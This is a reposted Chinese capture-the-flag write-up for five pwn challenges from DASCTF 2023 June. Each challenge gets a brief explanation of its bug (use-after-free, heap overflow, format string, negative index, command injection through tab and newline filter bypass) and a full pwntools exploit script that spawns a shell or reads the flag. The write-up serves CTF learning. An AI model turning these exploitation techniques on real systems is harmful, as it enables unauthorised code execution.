DASCTF 2023六月挑战赛|二进制专项 PWN (上)

news/2025/3/15 6:53:52/文章来源:https://www.cnblogs.com/CH13hh/p/18316002

DASCTF 2023六月挑战赛|二进制专项 PWN (上)

1.easynote

edit函数对长度没有检查

free函数存在UAF漏洞

思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbin attack,把__malloc_hook,写入one_gadget

2.通过unlink修改free got表为system

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')io = process('./easynote')
#libc = ELF('/home/su/PWN/BUUCTF/Jqfx/EJZ/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')
#io=remote('node5.buuoj.cn',29421)
libc = ELF('./libc-2.23.so')def add(size,msg):io.sendlineafter('5. exit','1')io.sendlineafter('content --->',str(size))io.sendlineafter('Content --->',msg)def edit(index,size,msg):io.sendlineafter('5. exit','2')io.sendlineafter('Index --->',str(index))io.sendlineafter('content --->',str(size))io.sendafter('Content --->',msg)def free(index):io.sendlineafter('5. exit','3')io.sendlineafter('Index --->',str(index))def show(index):io.sendlineafter('5. exit','4')io.sendlineafter('Index --->',str(index))fd = 0x6020C0 -0x18
bk = 0x6020C0 -0x10add(0x88,'aaaa')
add(0x88,'dddd')add(0x80,'cccc')
add(0x50,'/bin/sh\x00')
#gdb.attach(io)
free(2)
show(2)
io.recvuntil('Content: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x68 -libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']success('libc_base--->'+hex(libc_base))
payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(0,len(payload),payload)
free(1)
gdb.attach(io)
payload = b'a'*0x20 + p64(0x602018)
edit(0,len(payload),payload)edit(1,8,p64(system))free(3)io.interactive()

2.fooooood

非栈上格式化字符串漏洞,泄露地址,可以改循环次数,实现无限循环,最后改返回地址为one_gadget,即可

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')io = process('./fooooood')
libc = ELF('./libc.so.6')
elf = ELF('./fooooood')success('puts--->'+hex(libc.sym['puts']))
success('sys---->'+hex(libc.sym['system']))
#gdb.attach(io)
io.sendlineafter('name:','susu')io.recvuntil(' favourite food:')
payload = b'%9$pa%11$pb%13$p'
io.sendline(payload)
io.recvuntil('You like')
libc_base = int(io.recv(15),16) - 240 - libc.sym['__libc_start_main']
success('libc_base---->'+hex(libc_base))
io.recvuntil('a')
stack_addr = int(io.recv(14),16) - 0xd0
success('stack_addr---->'+hex(stack_addr))
io.recvuntil('b')
elf_base = int(io.recv(14),16) - elf.sym['main']
success('elf_base----->'+hex(elf_base))
#gdb.attach(io)
count = stack_addr - 0x28
count1 = count & 0xffff
pop_rdi = libc_base + 0x0000000000021112 #: pop rdi ; retsystem = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').__next__()
one = libc_base + 0xf1247
payload = b'%'+str(count1+4).encode('utf-8') + b'c%11$hn'
io.recvuntil(' favourite food:')
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str(0x5).encode('utf-8')+b'c%37$hhn'
io.sendline(payload)
#io.recvuntil(' favourite food:')
ret = stack_addr -0x10
ret1 = ret & 0xffff
payload =  b'%'+str(ret1).encode('utf-8') + b'c%11$hn'
io.sendline(payload)
io.recvuntil(' favourite food:')
success('pop_rdi---->'+hex(pop_rdi))
payload = payload = b'%'+str(one & 0xffff).encode('utf-8')+b'c%37$hn'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil(' favourite food:')
payload = b'%'+str(ret1+2).encode('utf-8')+b'c%11$hn'
io.sendline(payload)io.recvuntil(' favourite food:')
payload = b'%'+str((one >> 16) & 0xffff).encode('utf-8') + b'c%37$hn'
#gdb.attach(io)
io.sendline(payload)#addr = stack_addr - 8
#addr1  = addr & 0xffff#io.recvuntil(' favourite food:')
#payload = payload =  b'%'+str(addr1).encode('utf-8') + b'c%11$hn'
#gdb.attach(io)
#io.sendline(payload)#io.recvuntil(' favourite food:')
#payload = b'%'+str(system & 0xffff).encode('utf-8') + b'c%37$hn'
#io.sendline(payload)#io.recvuntil(' favourite food:')
#payload = payload =  b'%'+str(addr1 + 2).encode('utf-8') + b'c%11$hn'
#io.sendline(payload)
#io.recvuntil(' favourite food:')
#payload = b'%'+str(system >> 16 & 0xffff).encode('utf-8') + b'c%37$hn'
#gdb.attach(io)
#io.sendline(payload)io.interactive()

3.Candy_Shop

这里对输入的v1没有检查,可以输入负数,修改到got表

通过格式化字符串泄露libc地址

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')io = process('./Candy_Shop')
libc = ELF('./Candy_Shop.so.6')success('puts---->'+hex(libc.sym['puts']))def eat():io.sendlineafter('option: ','e')def buy(offest,payload):io.sendlineafter('option: ','b')io.sendlineafter('want to bye:','t')io.sendlineafter('the candy in?',offest)io.sendlineafter('name!',payload)def gift(payload):io.sendlineafter('option: ','g')io.sendlineafter('your name:',payload)#gdb.attach(io)payload = '%3$p'
gift(payload)
io.recvuntil('a gift:')
libc_base = int(io.recv(14),16) - 23 - libc.sym['write']
success('libc_base---->'+hex(libc_base))system = libc_base + libc.sym['system']buy('-10',b'a'*6+p64(system))#gift('/bin/sh\x00')io.sendline('g')
io.sendline('/bin/sh')io.interactive()

4.server

这里可以实现目录穿越,填满0x20个字节,一个存在的文件如/flag

做了过滤

但是没有过滤\n和\t,通过\n分割命令,\t代替空格读取flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')#io = process('./server')
io = remote('node5.buuoj.cn',27810)io.sendlineafter('choice >>','1')
io.sendlineafter('Please input the key of admin :',b'..///////////////////bin/sh')#pause()#sleep(2)
io.sendlineafter('choice >>','2')
io.recvuntil('username to add')
io.send("66cat\tfl*\n")
io.sendlineafter('choice >>','2')
io.recvuntil('username to add')
io.send("'\n")
io.interactive()

5.Approoooooooaching

一个虚拟机的题目

存在后门,对输入的字符进行解码处理对于相应的功能

通过偏移到返回地址最后一位修改为后门

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')io = process('./bf')io.recvuntil('choice:')
io.sendline('1')
io.sendlineafter('size:',str(0x300))io.recvuntil('choice:')
io.sendline('2')
io.sendline('iiiiyy')io.recvuntil('choice:')
io.sendline('3')io.recvuntil('choice:')
io.sendline('4')
gdb.attach(io)
io.send('\xe0')io.interactive()

还有三道下篇详细讲......

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/758747.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

易优cms后台数据类型的开关功能如何默认都显示“开”

新建字段默认就是true,就是扫码添加技术【解决问题,仅需10元起】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3、Javascript等。承接:企业仿站、网站修改、网站改版、BUG修复、问题处理、二次开发、PSD转HTML、网站被黑、网站漏洞修复等。专…

eyoucms获取当前栏目分类的下级栏目的文档列表

[基础用法] 标签:modelsartlist (channelartlist)备注:使用channelartlist也可以正常输出描述:获取当前栏目分类的下级栏目的文档列表 用法: {eyou:modelsartlist typeid=栏目ID type=son loop=20} <a href={eyou:field name=typeurl /}>{eyou:field name=typename…

帝国CMS忘记后台登陆认证码怎么处理

忘记后台登陆认证码怎么办?查看/e/class/config.php文件里的“$do_loginauth”变量内容。扫码添加技术【解决问题,仅需10元起】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3、Javascript等。承接:企业仿站、网站修改、网站改版、BUG修复、…

dedecms织梦更新生成栏目没反应问题总汇

织梦dedecms栏目无法更新是最头疼的事情,因为导致dedecms栏目不能更新的因素有很多,至 于大家都是什么原因导致的我也无法确定,因此整理了笔者所知道的一些原因,希望对大家有所帮助, 下面大家跟我一起来看下,你遇到的dede更新栏目无效是下面的哪一种情况:方法/步骤第一种…

易优cms登陆后台,总是提示验证码错误,账户密码都对!

问题: 易优cms登陆后台,总是提示验证码错误,账户密码都对!解决办法: 检查下目录权限,或者用排除法,弄回本地安装看看,如果可以,就是空间环境哪里设置有问题。扫码添加技术【解决问题,仅需10元起】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、H…

DedeTag Engine Create File False的彻底解决方法总汇

错误记录: DedeTag Engine Create File False的彻底解决方法总汇解决方案: DedeTag Engine Create File False这个问题真是折磨人,说小不小说大不大,这里分享一下DedeTag Engine Create File False的解决办法 方法1:确认文件夹a、data(以前的版本好像html,你也可能自定…

用SqlBulkCopy批量插入数据 遇到的错误

原文链接:https://www.cnblogs.com/wz327/archive/2011/07/05/2098356.html 错误一:来自数据源的 String 类型的给定值不能转换为指定目标列的类型 nvarchar。 还有其他的错误如:AddTime不能为DBNull (这个应该是目标表中AddTime要求不许为null) 可能的原因有两种 可能是…

初用IDEA的springboot第一步

根据网上课程的学习,运用IDEA时率先需要搭建环境 搭建环境的第一步 1.创建项目 点击file列表下的project,在project中找到Maven勾选左上角方块(必须勾选,否则无法下一步),选择org.apache.maven.archetypes:maven-archtype-webapp,点击next,填写项目名称,点击next,第一…

int8量化过程中涉及到的原理

int8 量化是一种用于减少模型大小和计算复杂度的方法,特别是在深度学习模型中。它通过将浮点数(通常是 fp32)转换为 8 位整数 (int8),从而减少内存使用和提高计算效率。这在嵌入式设备和移动设备上特别有用。下面是 int8 量化的基本原理及其涉及的过程。 1. 为什么需要量化…

达人篇:4.1)试验的概念和作用;

本章目的:了解试验的概念和作用。1.试验的概念2.试验的作用。 验证产品的机械和物理性能、及功能特性是否达到预期的要求。 自己生活会变的更开心

赚大了!AI既能出营销创意又能写文案

本文由 ChatMoney团队出品大家写产品营销文案最痛苦的是什么呢?当然是写营销特点和创意啦!这个简直不要太烧脑了,毕竟每个人脑子里的鬼点子有限。但有了AI就不一样了,它真的能启思维,让你充满灵感。我最近在用ChatmoneyAI的chatAI写了关于产品的营销文案,真的太受益啦,来…

R语言基于表格文件的数据绘制具有多个系列的柱状图与直方图

本文介绍基于R语言中的readxl包与ggplot2包,读取Excel表格文件数据,并绘制具有多个系列的柱状图、条形图的方法~本文介绍基于R语言中的readxl包与ggplot2包,读取Excel表格文件数据,并绘制具有多个系列的柱状图、条形图的方法。首先,我们配置一下所需用到的R语言readxl包与…